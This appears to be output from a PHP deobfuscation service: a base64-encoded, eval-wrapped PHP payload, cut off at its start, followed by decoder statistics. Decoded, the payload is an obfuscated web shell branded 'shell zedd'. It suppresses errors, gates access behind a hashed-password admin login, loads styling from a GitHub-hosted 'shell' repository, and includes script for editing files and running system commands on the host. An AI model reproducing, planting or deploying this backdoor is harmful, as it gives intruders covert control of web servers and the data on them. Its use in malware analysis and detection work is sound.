jxib2R5Pgo8P3BocCAgZ290byBkRjNEQjsgR2lLRUQ6IHByaW50ICJceDNjXDE1MFx4NzJcNzYiOyBnb3RvIFRPX0NWOyBoMlY5XzogJGhhc2hlZFBhc3N3b3JkID0gIlx4MjRceDMyXHg2MVw0NFw2MVw2Mlw0NFwxMjRcMTIwXDE0MlwxMzBceDRlXHg2ZlwxMTdceDU0XHg2YlwxNTRcMTUzXDE1MFx4NzRcNjFceDY3XHg2Mlx4MzVceDRmXHg0ZFx4MzBceDMxXDU2XDY3XHg1M1x4NzVceDM3XDE1N1x4NDdcMTA0XDEyMFx4NTVceDcxXDEzMVx4NzVcMTQ1XDYzXHgzN1x4NTVcMTEyXDE1NVx4N2FceDM4XHgyZlx4MmVcMTU1XHgzNVwxNDRcMTU2XDE2MVx4NDlcMTA3XDE1NFw2NiI7IGdvdG8gcEJRdzM7IHBCUXczOiBlcnJvcl9yZXBvcnRpbmcoMCk7IGdvdG8gZjZEMVk7IG5sbHlGOiBwcmludCAiXDc0XDU3XHg3NFwxNDJcMTU3XDE0NFx4NzlceDNlXHgzY1w1N1x4NzRceDYxXDE0MlwxNTRcMTQ1XDc2IjsgZ290byBOVHVZdjsgekZRTHU6IGlmICghJF9TRVNTSU9OWyJcMTU0XDE1N1wxNDdceDY3XHg2NVx4NjRceDQ5XHg2ZSJdKSB7ID8+CiAgICA8aHRtbD4KICAgIDxoZWFkPgogICAgICAgIDx0aXRsZT5Mb2dpbiBBZG1pbmlzdHJhdG9yPC90aXRsZT4KICAgICAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIiBocmVmPSJodHRwczovL2Nkbi5zdGF0aWNhbGx5LmlvL2doL1plZGRnYW5zei9zaGVsbC9tYWluL3N0eWxlcy5jc3MiPgogICAgPC9oZWFkPgogICAgPGJvZHk+CiAgICAgICAgPGRpdiBjbGFzcz0ibG9naW4tY29udGFpbmVyIj4KICAgICAgICAgICAgPGgxIGlkPSJmbGFzaGluZ1RleHQiPnNoZWxsIHplZGQ8L2gxPgogICAgICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwYXNzd29yZCI+CiAgICAgICAgICAgICAgICA8YnI+CiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJMb2dpbiI+PGJyPgogICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgIDxwIGlkPSJlbWFpbExpbmsiPiA8YSBocmVmPSJtYWlsdG86emVkZGdhbnNAZ21haWwuY29tIj56ZWRkZ2Fuc0BnbWFpbC5jb208L2E+PC9wPgogICAgICAgIDwvZGl2PgogICAgPC9ib2R5PgogICAgPC9odG1sPgogICAgPD9waHAgIGRpZTsgfSBlbHNlIHsgZWNobyAiXDc0XDE2MFx4M2VceDRjXHg2Zlx4NjdcMTUxXDE1Nlx4MjBcMTYzXDE2NVwxNDNcMTQzXDE0NVx4NzNceDczXDE0NlwxNjVceDZjXHgyMVw3NFx4MmZceDcwXHgzZSI7IH0gZ290byBPVUswYTsgRm9jdUU6IHByaW50ICJcNzRceDczXHg3MFwxNDFcMTU2XDQwXHg2M1x4NmNceDYxXDE2M1x4NzNceDNkXDQ3XHg3MVx4NjFcMTU0XHg2OVwxNTZceDI3XDc2XDEwNFwxNTFceDczXHg2MVwxNDJceDZjXDE0NVx4MjBcMTQ2XHg3NVx4NmVcMTQzXHg3NFx4NjlcMTU3XHg2ZVwxNjNceDNhXHgzY1x4MmZceDczXHg3MFwxNDFceDZlXDc2XDQwIiAuIChpbXBsb2RlKCJcNTRcNDAiLCAkbmFtaSkgPT0gJycgPyAiXHgzY1wxNjNcMTYwXDE0MVwxNTZceDIwXDE0M1x4NmNcMTQxXHg3M1wxNjNceDNkXHgyN1x4NzNcMTY1XDE0M1x4NjNceDY1XHg3M1wxNjNcNDdceDNlXHg0ZVwxMTdceDRlXHg0NVx4MjBceDNhXDUxIiA6ICJcNzRceDczXHg3MFx4NjFceDZlXHgyMFwxNDNcMTU0XDE0MVwxNjNcMTYzXHgzZFw0N1wxNDJcMTQxXHg2NFw0N1w3NiIgLiBpbXBsb2RlKCJceDJjXHgyMCIsICRuYW1pKSkgLiAiXDc0XHgyZlx4NzNceDcwXHg2MVx4NmVcNzZcNzRcMTQyXHg3Mlw1N1w3NiI7IGdvdG8gUnl2UGM7IE9lNGxOOiA/PgomemY9IiArIGJlcmthcykKCX0KfQpmdW5jdGlvbiBrb2RlKCkKewoJdmFyIHZhbGwgPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCdmaWxlX2VkaXQnKVswXS52YWx1ZTsKCXZhciByZXBwID0gWydhJywnaScsJ2UnLCdzJywnbCcsJ2InLCd1JywnbycsJ3AnLCdoJywiXFwoIiwiXFwpIiwiXFw8IiwiXFw+IiwiXFw/IiwiXFw7IiwiXFxbIiwiXFxdIiwiXFwkIl07Cglmb3IodmFyIHMgaW4gcmVwcCkKCXsKCQl2YXIgaCA9IHJlcHBbc107CgkJdmFsbCA9IHZhbGwucmVwbGFjZShuZXcgUmVnRXhwKGgsICdnJykgLCAnfDonK3MrJzp8Jyk7Cgl9CgoJZG9jdW1lbnQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgnZmlsZV9lZGl0JylbMF0udmFsdWUgPSB2YWxsOwp9Cgpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZW1yX2V0X2F0YXNoIikuYWRkRXZlbnRMaXN0ZW5lcigia2V5dXAiLCBmdW5jdGlvbihldmVudCkKewoJZXZlbnQucHJldmVudERlZmF1bHQoKTsKCWlmIChldmVudC5rZXlDb2RlID09PSAxMykKCXsKCQlzaXN0ZW1Lb20oKTsKCX0KfSk7Cjwvc2NyaXB0Pgo8L2JvZHk+CjwvaHRt')); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 1c869c23e37ef5b60527d4415deaa786
Eval Count 1
Decode Time 150 ms